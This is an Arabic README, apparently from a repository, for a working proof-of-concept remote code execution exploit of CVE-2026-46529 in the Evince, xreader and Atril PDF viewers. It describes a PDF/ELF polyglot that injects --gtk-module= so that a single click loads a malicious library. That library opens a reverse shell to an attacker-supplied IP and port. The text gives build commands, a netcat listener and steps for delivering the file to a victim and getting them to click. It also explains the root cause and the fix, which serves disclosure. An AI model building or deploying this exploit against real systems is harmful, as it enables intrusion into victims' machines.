
استغلال RCE لـ Evince/xreader/Atril لثغرة CVE-2026-46529
إثبات مفهوم عملي لثغرة حقن وسائط argv في ev_spawn() (shell/ev-application.c). نقرة واحدة في أي مكان على الصفحة المعروضة من ملف PDF مُصمَّم بعناية تؤدي إلى تنفيذ تعليمات برمجية عشوائية بصلاحية المستخدم الذي يشغّل العارض.
يستخدم هذا الإصدار تقنية استبدال %f: يكتشف العارض نفسه مسار هدف dlopen في وقت التشغيل، لذا لا يحتاج المهاجم إلى أي معرفة بمكان هبوط polyglot على نظام ملفات الضحية (لا اسم مستخدم، ولا $HOME, ولا مجلد تنزيلات).
https://github.com/user-attachments/assets/c12aaa77-4dd8-4dbc-b039-a510e9fbfced
| الملف | الغرض |
|---|---|
exploit.sh | غلاف يعمل مرة واحدة: يجمع ويبني polyglot بأمر واحد. |
evil_gtk_module.c | مصدر الحمولة. المُنشئ يفتح قشرة عكسية وينشئ ملف علامة في /tmp/PWNED_atril_<pid>.txt. |
build_polyglot.py | باني polyglot. يجمع evil.so المترجم مع نص PDF أدنى يحتوي على إجراء /GoToR وتهريب %f. |
يجب أن تبني على مضيف Linux يطابق بنية الضحية. evil_gtk_module.c محمول عبر البنيات؛ ملف ELF الناتج خاص بالبنية. لا يمكن لنظام macOS إنتاج .so لأن مُحمّل Apple لا يقبل رايات GNU build-id.
تقوم ev_spawn() ببناء سطر أوامر إطلاق العملية عن طريق إقحام سلسلتي /D (الوجهة المسماة) و/F (مواصفة الملف) من PDF دون g_shell_quote. يُعاد تحليل النتيجة إلى argv عبر g_app_info_create_from_commandline → g_shell_parse_argv. إن صياغة /D بمسافة بادئة و--gtk-module=... تجعل العارض الفرعي المسبوق يتلقى --gtk-module= كعنصر argv مستقل، والذي يكرمه gtk_init() عبر g_module_open() (أي dlopen). أي مُنشئ في ELF المحمّل يُنفَّذ بصلاحية الضحية.
الـ polyglot هو ملف واحد يكون في نفس الوقت ملف PDF صالح ومكتبة مشتركة ELF صالحة — يتم طبع علامة %PDF-1.4 داخل خانة SHA1 الخاصة بـ.note.gnu.build-id (الإزاحة 0x1d8)، والتي يقبلها poppler لأنه يفحص أول 1024 بايت بحثًا عن العلامة السحرية، ويقبلها ld.so لأن محتويات build-id معلوماتية فقط.
حيلة %f (في هذا الإصدار) تسد القطعة الأخيرة. بدلاً من ترميز مسار polyglot داخل PDF، نقوم بتضمين العنصر النائب %f من glib. يستبدل g_app_info_launch_uris من glib الـ%f بالصيغة المحلية للمسار من URI الذي حله atril في وقت التشغيل عبر g_path_get_dirname(source_uri) + /F.basename. ينتهي argv للطفل المسبوق باحتواء --gtk-module=<actual-runtime-path>، فينجح dlopen، ونحصل على RCE.
يتم تعيين /F إلى <basename>?1 بدلاً من <basename> فقط لأن ev_application_open_uri_at_dest() يقوم بدائرة قصر ويتنقل فقط (بدلاً من الإطلاق) عندما يساوي URI الخاص بـ/F الذي تم حله URI المصدر. سلسلة الاستعلام اللاحقة تجعل URI مميزًا؛ ويقوم g_filename_from_uri من glib بإزالتها عند بناء %f.
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
الناتج: report.pdf مع تضمين هدف القشرة العكسية. انشره إلى الضحية بنفس الاسم الأساسي (أي مجلد)، شغّل مستمعًا، واطلب منهم فتحه في atril والنقر في أي مكان على الصفحة.
# Attacker:
nc -lvnp 4444
# Victim:
atril /any/where/report.pdf
# click anywhere on the rendered page → shell back
الاسم الأساسي المضمن في /F مشتق من اسم ملف الإخراج، لذا يتوقع polyglot أن يُنشر باسم report.pdf. لا يهم المجلد — atril يحل المسار الكامل في وقت التشغيل عبر استبدال %f. يغطي تعليق الرابط كامل MediaBox، لذا أي نقرة تشغّل الإجراء. كما يُكتب ملف علامة إلى /tmp/PWNED_atril_<pid>.txt.
exploit.sh-o, --output FILE Output PDF path (default: polyglot.pdf)
--ip IP Reverse shell target IP (default: 127.0.0.1)
--port PORT Reverse shell target port (default: 9000)
--cc COMPILER C compiler (default: gcc, env: CC)
--keep-so Don't delete evil.so after build
-h, --help Show usage
مثال على الترجمة المتبادلة (بناء polyglot لبنية aarch64 على مضيف x86_64):
CC=aarch64-linux-gnu-gcc ./exploit.sh -o x.pdf --ip 10.0.0.5 --port 4444
exploit.sh)إذا كنت تريد تحكمًا كاملًا في كل خطوة:
قم بترجمة evil.so مع عنوان IP والمنفذ الخاصين بك.
gcc -shared -fPIC -Wl,--build-id=sha1 \
-DATTACKER_IP='"192.168.1.5"' \
-DATTACKER_PORT='"4444"' \
-o evil.so evil_gtk_module.c
قم ببناء polyglot.
python3 build_polyglot.py evil.so <output.pdf>
الاسم الأساسي المضمن في /F مشتق من اسم ملف الإخراج. انشر polyglot على الضحية بنفس الاسم الأساسي — لا يهم المجلد، atril يحله في وقت التشغيل.
تم تأكيد:
الكود القابل للاستغلال (ev_spawn ومسار فتح /GoToR) مشترك بين الثلاثة. لدى evince المنبع نفس العلة؛ الاختلاف الوحيد في إصدارات evince الأحدث هو أن GTK4 أسقط راية سطر الأوامر --gtk-module=، مما يغلق هذا المصب dlopen المحدد. إصدارات evince المبنية على GTK3 (معظم توزيعات LTS وقت كتابة هذا النص) تظل قابلة للاستغلال.
العلة موجودة منذ أوائل عام 2010 عندما كُتب بناء سطر الأوامر ev_spawn. الإصلاح مباشر: لف كل مكوّن يتحكم به المهاجم في g_shell_quote قبل g_string_append_printf، أو استخدم تمرير argv كقائمة إلى g_spawn_async (تجنبًا لجولة تحليل الصدفة تمامًا).
الحفاظ على اسم الملف. يجب أن يطابق الاسم الأساسي المضمن في /F اسم الملف الذي يحمله polyglot على قرص الضحية عند لحظة التفجير. إذا أعاد الضحية تسمية الملف قبل فتحه، يحل atril /F إلى مسار غير موجود ويفشل dlopen.
GTK4. أزالت إصدارات evince الأحدث المبنية على GTK4 راية سطر الأوامر --gtk-module=، مما يغلق هذا المصب dlopen المحدد. حقن argv نفسه ما زال موجودًا — فقط مسار الاستغلال المحدد هذا يتم تخفيفه بواسطة GTK4.
J.Medeiros